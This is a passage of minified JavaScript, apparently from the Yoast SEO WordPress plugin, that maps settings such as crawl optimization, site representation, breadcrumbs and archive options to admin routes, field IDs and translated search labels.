features","wordpress-seo"),fieldId:"card-wpseo-enable_metabox_insights",fieldLabel:(0,Lt.__)("Insights","wordpress-seo"),keywords:[]},enable_cornerstone_content:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_cornerstone_content",fieldLabel:(0,Lt.__)("Cornerstone content","wordpress-seo"),keywords:[]},enable_text_link_counter:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_text_link_counter",fieldLabel:(0,Lt.__)("Text link counter","wordpress-seo"),keywords:[]},enable_link_suggestions:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_link_suggestions",fieldLabel:(0,Lt.__)("Link suggestions","wordpress-seo"),keywords:[]},enable_enhanced_slack_sharing:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_enhanced_slack_sharing",fieldLabel:(0,Lt.__)("Slack sharing","wordpress-seo"),keywords:[(0,Lt.__)("Share","wordpress-seo")]},enable_admin_bar_menu:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_admin_bar_menu",fieldLabel:(0,Lt.__)("Admin bar menu","wordpress-seo"),keywords:[]},enable_headless_rest_endpoints:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_headless_rest_endpoints",fieldLabel:(0,Lt.__)("REST API endpoint","wordpress-seo"),keywords:[]},enable_xml_sitemap:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_xml_sitemap",fieldLabel:(0,Lt.__)("XML sitemaps","wordpress-seo"),keywords:[]},enable_index_now:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_index_now",fieldLabel:(0,Lt.__)("IndexNow","wordpress-seo"),keywords:[(0,Lt.__)("Index Now","wordpress-seo")]},enable_ai_generator:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-enable_ai_generator",fieldLabel:(0,Lt.__)("AI title & description generator","wordpress-seo"),keywords:[(0,Lt.__)("AI generator","wordpress-seo"),(0,Lt.__)("Artificial intelligence","wordpress-seo"),(0,Lt.__)("SEO title","wordpress-seo"),(0,Lt.__)("meta title","wordpress-seo"),(0,Lt.__)("meta description","wordpress-seo"),(0,Lt.__)("suggestions","wordpress-seo")]},disableadvanced_meta:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo-disableadvanced_meta",fieldLabel:(0,Lt.__)("Restrict advanced settings for authors","wordpress-seo"),keywords:[]},tracking:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo-tracking",fieldLabel:(0,Lt.__)("Usage tracking","wordpress-seo"),keywords:[]},publishing_principles_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-publishing_principles_id",fieldLabel:(0,Lt.__)("Publishing principles","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},ownership_funding_info_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-ownership_funding_info_id",fieldLabel:(0,Lt.__)("Ownership / Funding info","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},actionable_feedback_policy_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-actionable_feedback_policy_id",fieldLabel:(0,Lt.__)("Actionable feedback policy","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},corrections_policy_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-corrections_policy_id",fieldLabel:(0,Lt.__)("Corrections policy","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},ethics_policy_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-ethics_policy_id",fieldLabel:(0,Lt.__)("Ethics policy","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},diversity_policy_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-diversity_policy_id",fieldLabel:(0,Lt.__)("Diversity policy","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},diversity_staffing_report_id:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-diversity_staffing_report_id",fieldLabel:(0,Lt.__)("Diversity staffing report","wordpress-seo"),keywords:[(0,Lt.__)("Publishing policies","wordpress-seo")]},baiduverify:{route:"/site-connections",routeLabel:(0,Lt.__)("Site connections","wordpress-seo"),fieldId:"input-wpseo-baiduverify",fieldLabel:(0,Lt.__)("Baidu","wordpress-seo"),keywords:[(0,Lt.__)("Webmaster","wordpress-seo")]},googleverify:{route:"/site-connections",routeLabel:(0,Lt.__)("Site connections","wordpress-seo"),fieldId:"input-wpseo-googleverify",fieldLabel:(0,Lt.__)("Google","wordpress-seo"),keywords:[(0,Lt.__)("Webmaster","wordpress-seo"),(0,Lt.__)("Google search console","wordpress-seo"),"gsc"]},msverify:{route:"/site-connections",routeLabel:(0,Lt.__)("Site connections","wordpress-seo"),fieldId:"input-wpseo-msverify",fieldLabel:(0,Lt.__)("Bing","wordpress-seo"),keywords:[(0,Lt.__)("Webmaster","wordpress-seo")]},yandexverify:{route:"/site-connections",routeLabel:(0,Lt.__)("Site connections","wordpress-seo"),fieldId:"input-wpseo-yandexverify",fieldLabel:(0,Lt.__)("Yandex","wordpress-seo"),keywords:[(0,Lt.__)("Webmaster","wordpress-seo")]},remove_shortlinks:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_shortlinks",fieldLabel:(0,Lt.__)("Remove shortlinks","wordpress-seo"),keywords:[]},remove_rest_api_links:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_rest_api_links",fieldLabel:(0,Lt.__)("Remove REST API links","wordpress-seo"),keywords:[]},remove_rsd_wlw_links:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_rsd_wlw_links",fieldLabel:(0,Lt.__)("Remove RSD / WLW links","wordpress-seo"),keywords:[]},remove_oembed_links:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_oembed_links",fieldLabel:(0,Lt.__)("Remove oEmbed links","wordpress-seo"),keywords:[]},remove_generator:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_generator",fieldLabel:(0,Lt.__)("Remove generator tag","wordpress-seo"),keywords:[]},remove_pingback_header:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_pingback_header",fieldLabel:(0,Lt.__)("Pingback HTTP header","wordpress-seo"),keywords:[]},remove_powered_by_header:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_powered_by_header",fieldLabel:(0,Lt.__)("Remove powered by HTTP header","wordpress-seo"),keywords:[]},remove_feed_global:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_global",fieldLabel:(0,Lt.__)("Remove global feed","wordpress-seo"),keywords:[]},remove_feed_global_comments:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_global_comments",fieldLabel:(0,Lt.__)("Remove global comment feeds","wordpress-seo"),keywords:[]},remove_feed_post_comments:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_post_comments",fieldLabel:(0,Lt.__)("Remove post comments feeds","wordpress-seo"),keywords:[]},remove_feed_authors:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_authors",fieldLabel:(0,Lt.__)("Remove post authors feeds","wordpress-seo"),keywords:[]},remove_feed_post_types:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_post_types",fieldLabel:(0,Lt.__)("Remove post type feeds","wordpress-seo"),keywords:[]},remove_feed_categories:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_categories",fieldLabel:(0,Lt.__)("Remove category feeds","wordpress-seo"),keywords:[]},remove_feed_tags:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_tags",fieldLabel:(0,Lt.__)("Remove tag feeds","wordpress-seo"),keywords:[]},remove_feed_custom_taxonomies:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_custom_taxonomies",fieldLabel:(0,Lt.__)("Remove custom taxonomy feeds","wordpress-seo"),keywords:[]},remove_feed_search:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_feed_search",fieldLabel:(0,Lt.__)("Remove search results feeds","wordpress-seo"),keywords:[]},remove_atom_rdf_feeds:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_atom_rdf_feeds",fieldLabel:(0,Lt.__)("Remove Atom/RDF feeds","wordpress-seo"),keywords:[]},remove_emoji_scripts:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-remove_emoji_scripts",fieldLabel:(0,Lt.__)("Remove emoji scripts","wordpress-seo"),keywords:[]},deny_wp_json_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_wp_json_crawling",fieldLabel:(0,Lt.__)("Remove WP-JSON API","wordpress-seo"),keywords:["robots"]},deny_adsbot_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_adsbot_crawling",fieldLabel:(0,Lt.__)("Prevent Google AdsBot from crawling","wordpress-seo"),keywords:["robots"]},deny_ccbot_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_ccbot_crawling",fieldLabel:(0,Lt.__)("Prevent Common Crawl CCBot from crawling","wordpress-seo"),keywords:["robots"]},deny_google_extended_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_google_extended_crawling",fieldLabel:(0,Lt.__)("Prevent Google Bard and Vertex AI bots from crawling","wordpress-seo"),keywords:["robots"]},deny_gptbot_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_gptbot_crawling",fieldLabel:(0,Lt.__)("Prevent OpenAI GPTBot from crawling","wordpress-seo"),keywords:["robots","chatgpt"]},search_cleanup:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-search_cleanup",fieldLabel:(0,Lt.__)("Filter search terms","wordpress-seo"),keywords:[]},search_character_limit:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-search_character_limit",fieldLabel:(0,Lt.__)("Max number of characters to allow in searches","wordpress-seo"),keywords:[]},search_cleanup_emoji:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-search_cleanup_emoji",fieldLabel:(0,Lt.__)("Filter searches with emojis and other special characters","wordpress-seo"),keywords:[]},search_cleanup_patterns:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-search_cleanup_patterns",fieldLabel:(0,Lt.__)("Filter searches with common spam patterns","wordpress-seo"),keywords:[]},redirect_search_pretty_urls:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-redirect_search_pretty_urls",fieldLabel:(0,Lt.__)("Redirect pretty URLs to ‘raw’ formats","wordpress-seo"),keywords:[]},deny_search_crawling:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-deny_search_crawling",fieldLabel:(0,Lt.__)("Prevent crawling of internal site search URLs","wordpress-seo"),keywords:["robots"]},clean_campaign_tracking_urls:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-clean_campaign_tracking_urls",fieldLabel:(0,Lt.__)("Optimize Google Analytics utm tracking parameters","wordpress-seo"),keywords:[]},clean_permalinks:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-clean_permalinks",fieldLabel:(0,Lt.__)("Remove unregistered URL parameters","wordpress-seo"),keywords:[]},clean_permalinks_extra_variables:{route:"/crawl-optimization",routeLabel:(0,Lt.__)("Crawl optimization","wordpress-seo"),fieldId:"input-wpseo-clean_permalinks_extra_variables",fieldLabel:(0,Lt.__)("Additional URL parameters to allow","wordpress-seo"),keywords:[]}},wpseo_titles:{website_name:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-website_name",fieldLabel:(0,Lt.__)("Website name","wordpress-seo"),keywords:[]},alternate_website_name:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-alternate_website_name",fieldLabel:(0,Lt.__)("Alternate website name","wordpress-seo"),keywords:[]},forcerewritetitles:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-forcerewritetitle",fieldLabel:(0,Lt.__)("Force rewrite titles","wordpress-seo"),keywords:[]},separator:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-wpseo_titles-separator-sc-dash",fieldLabel:(0,Lt.__)("Title separator","wordpress-seo"),keywords:[(0,Lt.__)("Divider","wordpress-seo")]},company_or_person:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-company_or_person-company",fieldLabel:(0,Lt.__)("Organization/person","wordpress-seo"),keywords:[(0,Lt.__)("Schema","wordpress-seo"),(0,Lt.__)("Structured data","wordpress-seo")]},company_name:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-company_name",fieldLabel:(0,Lt.__)("Organization name","wordpress-seo"),keywords:[]},company_alternate_name:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-company_alternate_name",fieldLabel:(0,Lt.__)("Alternate organization name","wordpress-seo"),keywords:[]},company_logo_id:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"button-wpseo_titles-company_logo-preview",fieldLabel:(0,Lt.__)("Organization logo","wordpress-seo"),keywords:[(0,Lt.__)("Image","wordpress-seo")]},company_or_person_user_id:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-company_or_person_user_id",fieldLabel:(0,Lt.__)("User","wordpress-seo"),keywords:[]},person_logo_id:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"button-wpseo_titles-person_logo-preview",fieldLabel:(0,Lt.__)("Personal logo or avatar","wordpress-seo"),keywords:[(0,Lt.__)("Image","wordpress-seo")]},organization_description:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-description",fieldLabel:(0,Lt.__)("Organization description","wordpress-seo"),keywords:[]},organization_email:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-email",fieldLabel:(0,Lt.__)("Organization email address","wordpress-seo"),keywords:[]},organization_phone:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-phone",fieldLabel:(0,Lt.__)("Organization phone number","wordpress-seo"),keywords:[]},organization_legal_name:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-legal-name",fieldLabel:(0,Lt.__)("Organization's legal name","wordpress-seo"),keywords:[]},organization_funding_date:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-founding-date",fieldLabel:(0,Lt.__)("Organization's founding date","wordpress-seo"),keywords:[]},organization_number_employees:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-number-employees",fieldLabel:(0,Lt.__)("Number of employees","wordpress-seo"),keywords:[]},organization_vat_id:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-vat-id",fieldLabel:(0,Lt.__)("VAT ID","wordpress-seo"),keywords:[]},organization_tax_id:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-tax-id",fieldLabel:(0,Lt.__)("Tax ID","wordpress-seo"),keywords:[]},organization_iso:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-iso",fieldLabel:(0,Lt.__)("ISO 6523","wordpress-seo"),keywords:[]},organization_duns:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-duns",fieldLabel:(0,Lt.__)("DUNS","wordpress-seo"),keywords:[]},organization_leicode:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-leicode",fieldLabel:(0,Lt.__)("LEI code","wordpress-seo"),keywords:[(0,Lt.__)("leicode","wordpress-seo")]},organization_naics:{route:"/site-representation",routeLabel:(0,Lt.__)("Site representation","wordpress-seo"),fieldId:"input-wpseo_titles-org-naics",fieldLabel:(0,Lt.__)("NAICS","wordpress-seo"),keywords:[]},"title-home-wpseo":{route:"/homepage",routeLabel:(0,Lt.__)("Homepage","wordpress-seo"),fieldId:"input-wpseo_titles-title-home-wpseo",fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[]},"metadesc-home-wpseo":{route:"/homepage",routeLabel:(0,Lt.__)("Homepage","wordpress-seo"),fieldId:"input-wpseo_titles-metadesc-home-wpseo",fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[]},open_graph_frontpage_image_id:{route:"/homepage",routeLabel:(0,Lt.__)("Homepage","wordpress-seo"),fieldId:"button-wpseo_titles-open_graph_frontpage_image-preview",fieldLabel:(0,Lt.__)("Social image","wordpress-seo"),keywords:[]},open_graph_frontpage_title:{route:"/homepage",routeLabel:(0,Lt.__)("Homepage","wordpress-seo"),fieldId:"input-wpseo_titles-open_graph_frontpage_title",fieldLabel:(0,Lt.__)("Social title","wordpress-seo"),keywords:[]},open_graph_frontpage_desc:{route:"/homepage",routeLabel:(0,Lt.__)("Homepage","wordpress-seo"),fieldId:"input-wpseo_titles-open_graph_frontpage_desc",fieldLabel:(0,Lt.__)("Social description","wordpress-seo"),keywords:[]},"breadcrumbs-sep":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-sep",fieldLabel:(0,Lt.__)("Separator between breadcrumbs","wordpress-seo"),keywords:[(0,Lt.__)("Divider","wordpress-seo"),(0,Lt.__)("Separator","wordpress-seo")]},"breadcrumbs-home":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-home",fieldLabel:(0,Lt.__)("Anchor text for the homepage","wordpress-seo"),keywords:[]},"breadcrumbs-prefix":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-prefix",fieldLabel:(0,Lt.__)("Prefix for the breadcrumb path","wordpress-seo"),keywords:[]},"breadcrumbs-archiveprefix":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-archiveprefix",fieldLabel:(0,Lt.__)("Prefix for archive breadcrumbs","wordpress-seo"),keywords:[]},"breadcrumbs-searchprefix":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-searchprefix",fieldLabel:(0,Lt.__)("Prefix for search page breadcrumbs","wordpress-seo"),keywords:[]},"breadcrumbs-404crumb":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-404crumb",fieldLabel:(0,Lt.__)("Breadcrumb for 404 page","wordpress-seo"),keywords:[]},"breadcrumbs-display-blog-page":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-display-blog-page",fieldLabel:(0,Lt.__)("Show blog page in breadcrumbs","wordpress-seo"),keywords:[]},"breadcrumbs-boldlast":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-boldlast",fieldLabel:(0,Lt.__)("Bold the last page","wordpress-seo"),keywords:[]},"breadcrumbs-enable":{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:"input-wpseo_titles-breadcrumbs-enable",fieldLabel:(0,Lt.__)("Enable breadcrumbs for your theme","wordpress-seo"),keywords:[]},...(0,le.reduce)(e,((e,r)=>{const a=(0,le.filter)(t,(e=>(0,le.includes)(e.postTypes,r.name)));return(0,le.isEmpty)(a)?e:{...e,[`post_types-${r.name}-maintax`]:{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:`input-wpseo_titles-post_types-${r.name}-maintax`,
// translators: %1$s expands to the post type plural, e.g. posts.
fieldLabel:(0,Lt.sprintf)((0,Lt.__)("Breadcrumbs for %1$s","wordpress-seo"),gn(r.label,s)),keywords:[]}}}),{}),...(0,le.reduce)(t,((e,t)=>({...e,[`taxonomy-${t.name}-ptparent`]:{route:"/breadcrumbs",routeLabel:(0,Lt.__)("Breadcrumbs","wordpress-seo"),fieldId:`input-wpseo_titles-taxonomy-${t.name}-ptparent`,
// translators: %1$s expands to the taxonomy plural, e.g. categories.
fieldLabel:(0,Lt.sprintf)((0,Lt.__)("Breadcrumbs for %1$s","wordpress-seo"),gn(t.label,s)),keywords:[]}})),{}),"disable-author":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-disable-author",fieldLabel:(0,Lt.__)("Enable author archives","wordpress-seo"),keywords:[]},"noindex-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-noindex-author-wpseo",fieldLabel:(0,Lt.__)("Show author archives in search results","wordpress-seo"),keywords:[]},"noindex-author-noposts-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-noindex-author-noposts-wpseo",fieldLabel:(0,Lt.__)("Show archives for authors without posts in search results","wordpress-seo"),keywords:[]},"title-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-title-author-wpseo",fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[]},"metadesc-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-metadesc-author-wpseo",fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[]},"social-image-id-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"button-wpseo_titles-social-image-author-wpseo-preview",fieldLabel:(0,Lt.__)("Social image","wordpress-seo"),keywords:[]},"social-title-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-social-title-author-wpseo",fieldLabel:(0,Lt.__)("Social title","wordpress-seo"),keywords:[]},"social-description-author-wpseo":{route:"/author-archives",routeLabel:(0,Lt.__)("Author archives","wordpress-seo"),fieldId:"input-wpseo_titles-social-description-author-wpseo",fieldLabel:(0,Lt.__)("Social description","wordpress-seo"),keywords:[]},"disable-date":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-disable-date",fieldLabel:(0,Lt.__)("Enable date archives","wordpress-seo"),keywords:[]},"noindex-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-noindex-archive-wpseo",fieldLabel:(0,Lt.__)("Show date archives in search results","wordpress-seo"),keywords:[]},"title-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-title-archive-wpseo",fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[]},"metadesc-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-metadesc-archive-wpseo",fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[]},"social-image-id-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"button-wpseo_titles-social-image-archive-wpseo-preview",fieldLabel:(0,Lt.__)("Social image","wordpress-seo"),keywords:[]},"social-title-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-social-title-archive-wpseo",fieldLabel:(0,Lt.__)("Social title","wordpress-seo"),keywords:[]},"social-description-archive-wpseo":{route:"/date-archives",routeLabel:(0,Lt.__)("Date archives","wordpress-seo"),fieldId:"input-wpseo_titles-social-description-archive-wpseo",fieldLabel:(0,Lt.__)("Social description","wordpress-seo"),keywords:[]},"title-search-wpseo":{route:"/special-pages",routeLabel:(0,Lt.__)("Special pages","wordpress-seo"),fieldId:"input-wpseo_titles-title-search-wpseo",fieldLabel:(0,Lt.__)("Search pages title","wordpress-seo"),keywords:[]},"title-404-wpseo":{route:"/special-pages",routeLabel:(0,Lt.__)("Special pages","wordpress-seo"),fieldId:"input-wpseo_titles-title-404-wpseo",fieldLabel:(0,Lt.__)("404 pages title","wordpress-seo"),keywords:[]},"disable-attachment":{route:"/media-pages",routeLabel:(0,Lt.__)("Media pages","wordpress-seo"),fieldId:"input-wpseo_titles-disable-attachment",fieldLabel:(0,Lt.__)("Media pages","wordpress-seo"),keywords:[(0,Lt.__)("Attachment","wordpress-seo"),(0,Lt.__)("Image","wordpress-seo"),(0,Lt.__)("Video","wordpress-seo"),(0,Lt.__)("PDF","wordpress-seo"),(0,Lt.__)("File","wordpress-seo")]},"noindex-attachment":{route:"/media-pages",routeLabel:(0,Lt.__)("Media pages","wordpress-seo"),fieldId:"input-wpseo_titles-noindex-attachment",fieldLabel:(0,Lt.__)("Show media pages in search results","wordpress-seo"),keywords:[(0,Lt.__)("Image","wordpress-seo"),(0,Lt.__)("Video","wordpress-seo"),(0,Lt.__)("PDF","wordpress-seo"),(0,Lt.__)("File","wordpress-seo")]},"title-attachment":{route:"/media-pages",routeLabel:(0,Lt.__)("Media pages","wordpress-seo"),fieldId:"input-wpseo_titles-title-attachment",fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[(0,Lt.__)("Image","wordpress-seo"),(0,Lt.__)("Video","wordpress-seo"),(0,Lt.__)("PDF","wordpress-seo"),(0,Lt.__)("File","wordpress-seo")]},"metadesc-attachment":{route:"/media-pages",routeLabel:(0,Lt.__)("Media pages","wordpress-seo"),fieldId:"input-wpseo_titles-metadesc-attachment",fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[(0,Lt.__)("Image","wordpress-seo"),(0,Lt.__)("Video","wordpress-seo"),(0,Lt.__)("PDF","wordpress-seo"),(0,Lt.__)("File","wordpress-seo")]},"schema-page-type-attachment":{route:"/media-pages",routeLabel:(0,Lt.__)("Media pages","wordpress-seo"),fieldId:"input-wpseo_titles-schema-page-type-attachment",fieldLabel:(0,Lt.__)("Page type","wordpress-seo"),keywords:[(0,Lt.__)("Schema","wordpress-seo"),(0,Lt.__)("Structured 